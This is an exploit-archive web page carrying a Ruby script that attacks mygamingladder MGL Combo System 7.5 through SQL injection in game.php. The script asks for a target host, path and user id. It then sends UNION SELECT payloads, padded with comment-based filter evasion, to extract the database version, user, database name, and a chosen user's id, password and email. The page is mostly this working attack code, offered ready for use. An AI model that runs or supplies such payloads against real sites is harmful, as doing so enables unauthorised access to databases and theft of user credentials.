首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
mygamingladder MGL Combo System <= 7.5 game.php SQL injection Exploit
来源:vfocus.net 作者:Laster 发布时间:2010-11-01  
----------------------------Information------------------------------------------------
+Name : mygamingladder MGL Combo System <= 7.5 game.php SQL injection Exploit
+Autor : Easy Laster
+Date   : 10.10.2010
+Script  : mygamingladder MGL Combo System <= 7.5
+Price : 120$
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents and free-hack.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco,
 
---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _ 
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|          
 
 
----------------------------------------------------------------------------------------
#!/usr/bin/ruby
#4004-security-project.com
#Discovered and vulnerability by Easy Laster
print "
#########################################################
#                    4004-Security-Project              #
#########################################################
#             mygamingladder MGL Combo System 7.5       #
#                          Exploit                      #
#                     Using Host+Path+id                #
#                     www.demo.de /forum/ 1             #
#                         Easy Laster                   #
#########################################################
"
require 'net/http'
block = "#########################################################"
print ""+ block +""
print "\nEnter host name (site.com)->"
host=gets.chomp
print ""+ block +""
print "\nEnter script path (/path/)->"
path=gets.chomp
print ""+ block +""
print "\nEnter the id (id)->"
userid=gets.chomp
print ""+ block +""
begin
dir = "game.php?gameid=%27/**/"+
      "+union/**/+select+/**/1,"+
      "2,3,CONCAT%280x23,0x23,"+
      "0x23,0x23,0x23,version()"+
      ",0x23,0x23,0x23,0x23,0x2"+
      "3%29,5,6,7,8+/**/from+/"+
      "**/users+/**/WHERE+/**/"+
      "+id="+ userid +"--+"
       http = Net::HTTP.new(host, 80)
       resp= http.get(path+dir)
       print "\nVersion -> "+(/#####(.+)#####/).match(resp.body)[1]
         dir = "game.php?gameid=%27/**/"+
         "+union/**/+select+/**/1,"+
         "2,3,CONCAT%280x23,0x23,"+
         "0x23,0x23,0x23,user()"+
         ",0x23,0x23,0x23,0x23,0x2"+
         "3%29,5,6,7,8+/**/from+/"+
         "**/users+/**/WHERE+/**/"+
         "+id="+ userid +"--+"
           http = Net::HTTP.new(host, 80)
           resp= http.get(path+dir)
           print "\nUser -> "+(/#####(.+)#####/).match(resp.body)[1]
           dir = "game.php?gameid=%27/**/"+
           "+union/**/+select+/**/1,"+
           "2,3,CONCAT%280x23,0x23,"+
           "0x23,0x23,0x23,database()"+
           ",0x23,0x23,0x23,0x23,0x2"+
           "3%29,5,6,7,8+/**/from+/"+
           "**/users+/**/WHERE+/**/"+
           "+id="+ userid +"--+"
              http = Net::HTTP.new(host, 80)
              resp= http.get(path+dir)
              print "\nDatabase -> "+(/#####(.+)#####/).match(resp.body)[1]
              dir = "game.php?gameid=%27/**/"+
           "+union/**/+select+/**/1,"+
           "2,3,CONCAT%280x23,0x23"+
           ",0x23,0x23,0x23,id,0x2"+
           "3,0x23,0x23,0x23,0x23%"+
           "29,5,6,7,8+/**/from+/*"+
           "*/users+/**/WHERE+/**/"+
           "id="+ userid +"--+"
        http = Net::HTTP.new(host, 80)
        resp= http.get(path+dir)
        print "\nId -> "+(/#####(.+)#####/).match(resp.body)[1]
        dir = "game.php?gameid=%27/**/"+
        "+union/**/+select+/**/1,"+
        "2,3,CONCAT%280x23,0x23"+
        ",0x23,0x23,0x23,pass,0x2"+
     "3,0x23,0x23,0x23,0x23%"+
     "29,5,6,7,8+/**/from+/*"+
     "*/users+/**/WHERE+/**/"+
     "id="+ userid +"--+"
     http = Net::HTTP.new(host, 80)
     resp= http.get(path+dir)
     print "\nPassword -> "+(/#####(.+)#####/).match(resp.body)[1]
     dir = "game.php?gameid=%27/**/"+
  "+union/**/+select+/**/1,"+
  "2,3,CONCAT%280x23,0x23"+
  ",0x23,0x23,0x23,email,0x2"+
  "3,0x23,0x23,0x23,0x23%"+
  "29,5,6,7,8+/**/from+/*"+
  "*/users+/**/WHERE+/**/"+
  "id="+ userid +"--+"
  http = Net::HTTP.new(host, 80)
 resp= http.get(path+dir)
 print "\nEmail -> "+(/#####(.+)#####/).match(resp.body)[1]
 print "\n#########################################################"
 rescue
print "\nExploit failed"
end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PHPKit <= 1.6.1 R2 overview.ph
·Firefox 3.6.8 - 3.6.11 Interle
·Debian <=5.0.6 /Ubuntu <=10.04
·RoSPORA <= 1.5.0 Remote PHP Co
·Apache 2.0 - (apterous) file D
·yPlay v2.4.5 Denial of Service
·CoWebserver Denial of Service
·Home FTP Server v1.11.1.149 RE
·DATAC RealWin SCADA 1.06 Buffe
·SmallFTPD v1.0.3 Remote Direct
·Home FTP Server Post-Auth Dire
·MetInfo 2.0 PHP Code Injection
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved